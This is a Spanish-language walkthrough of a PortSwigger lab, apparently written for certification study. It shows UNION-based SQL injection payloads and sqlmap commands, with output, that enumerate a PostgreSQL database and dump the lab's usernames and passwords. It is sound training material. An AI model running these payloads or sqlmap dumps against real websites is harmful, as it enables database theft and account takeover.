SQL injection UNION attack, retrieving data from other tables
Laboratorio de Portswigger sobre SQLI
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
contiene una vulnerabilidad
de inyección SQL
en el filtro
de categoría
de productos
. Los resultados
de la consulta
se devuelven
en la respuesta
de la aplicación
, por lo que hay que utilizar un ataque UNION
para recuperar datos de otras tablas. La base de datos contiene una tabla diferente llamada users
, con columnas llamadas username
y password
. Para resolver el laboratorio, hay que realizar un ataque de inyección SQL UNION
que recupere todos los nombres de usuario
y contraseñas
, y utilizar la información para iniciar sesión
como el usuario administrador
Guía de SQLI
Antes
de completar
este laboratorio
es recomendable leerse
esta guía de SQLI
https://justice-reaper.github.io/posts/SQLI/
Resolución
Al acceder
a la web
nos sale esto
Si hacemos click
en alguno de los filtros
, nos filtrará los artículos por esta categoría
Capturamos
la petición
con Burpsuite
y añadimos
una comilla
simple '
Si enviamos esta petición nos devolverá un Internal Server Error
, lo cual quiere decir que estamos interfiriendo
con la consulta SQL
que se está produciendo
Si usamos este payload
mediante el cual añadimos una comparación que siempre
es verdad
como 1=1
, ignoramos el resto de la consulta SQL con -- -
y enviamos la petición nuevamente no obtenemos ningún fallo, lo que quiere decir que la inyección SQL
ha sido exitosa
1
/filter?category=Gifts'+or+1=1--+-+
Usando order by
podemos saber el número
de columnas
que tiene la tabla
, empleando este payload
el resultado es un 200 OK
1
/filter?category=Gifts'+order+by+2--+-+
Sin embargo, si empleamos este otro payload
donde hacemos order by 3
, nos devuelve un Internal Server Error
. Esto se debe a que al no existir tres columnas
nos arroja
un fallo
1
/filter?category=Gifts'+order+by+3--+-+
Una vez sabemos el número de columnas, usando union select
vamos a obtener la información. En este caso, como no hemos recibido ningún error
, podemos descartar que la base
de datos
usada sea Oracle
, debido a que en Oracle
debemos añadir from dual
al final, de lo contrario, nos arrojará un error
1
/filter?category=Gifts'+union+select+null,null--+-+
Confirmamos la base
de datos
en uso y también el su versión
1
/filter?category=Gifts'+union+select+null,version()--+-+
Listamos
el nombre
de todas las bases
de datos
1
/filter?category=Gifts'+union+select+null,string_agg(datname,',')+from+pg_database--+-+
Listamos
la base
de datos
actual
1
/filter?category=Gifts'+union+select+null,current_database()--+-+
Listamos
todos los esquemas
para la base de datos actual
1
/filter?category='+union+select+null,schema_name+from+information_schema.schemata--+-+
Listamos
el nombre
de las tablas
del esquema public
1
/filter?category='+union+select+null,table_name+from+information_schema.tables+where+table_schema='public'--+-+
Listamos
las columnas
de la tabla users
1
/filter?category=Gifts'+union+select+null,string_agg(column_name,',')+from+information_schema.columns+where+table_name='users'--+-+
Listamos
el contenido
de la columna username
y password
1
/filter?category=Gifts'+union+select+username,password+from+users--+-+
Podríamos obtener también la contraseña
del usuario administrator
usando sqlmap
, lo primero es listar
las bases
de datos
1
2
3
4
5
# sqlmap -u 'https://0a85007e04197e73811520ab00a30052.web-security-academy.net/filter?category=Gifts*' --risk=3 --level=5 --random-agent --dbs --batch --threads 2
available databases [3]:
[*] information_schema
[*] pg_catalog
[*] public
Listamos
las tablas
de la base de datos public
1
2
3
4
5
6
7
# sqlmap -u 'https://0a85007e04197e73811520ab00a30052.web-security-academy.net/filter?category=Gifts*' --risk=3 --level=5 --random-agent -D public --tables --batch --threads 2
Database: public
[2 tables]
+----------+
| products |
| users |
+----------+
Listamos
las columnas
de la tabla users
1
2
3
4
5
6
7
8
9
10
11
# sqlmap -u 'https://0a85007e04197e73811520ab00a30052.web-security-academy.net/filter?category=Gifts*' --risk=3 --level=5 --random-agent -D public -T users --columns --batch --threads 2
Database: public
Table: users
[3 columns]
+----------+---------+
| Column | Type |
+----------+---------+
| email | varchar |
| password | varchar |
| username | varchar |
+----------+---------+
Dumpeamos
el contenido de password
y username
de la tabla users
1
2
3
4
5
6
7
8
9
10
11
# sqlmap -u 'https://0a85007e04197e73811520ab00a30052.web-security-academy.net/filter?category=Gifts*' --risk=3 --level=5 --random-agent -D public -T users -C username,password --dump --batch --threads 2
Database: public
Table: users
[3 entries]
+---------------+----------------------+
| username | password |
+---------------+----------------------+
| administrator | 9ti7sbwit1xxfn9k0bev |
| wiener | mlcv6e5h7scs5tzvmhmq |
| carlos | 4k5cdgfdtrvmg2922kev |
+---------------+----------------------+
Nos logueamos
con las credenciales
del usuario administrador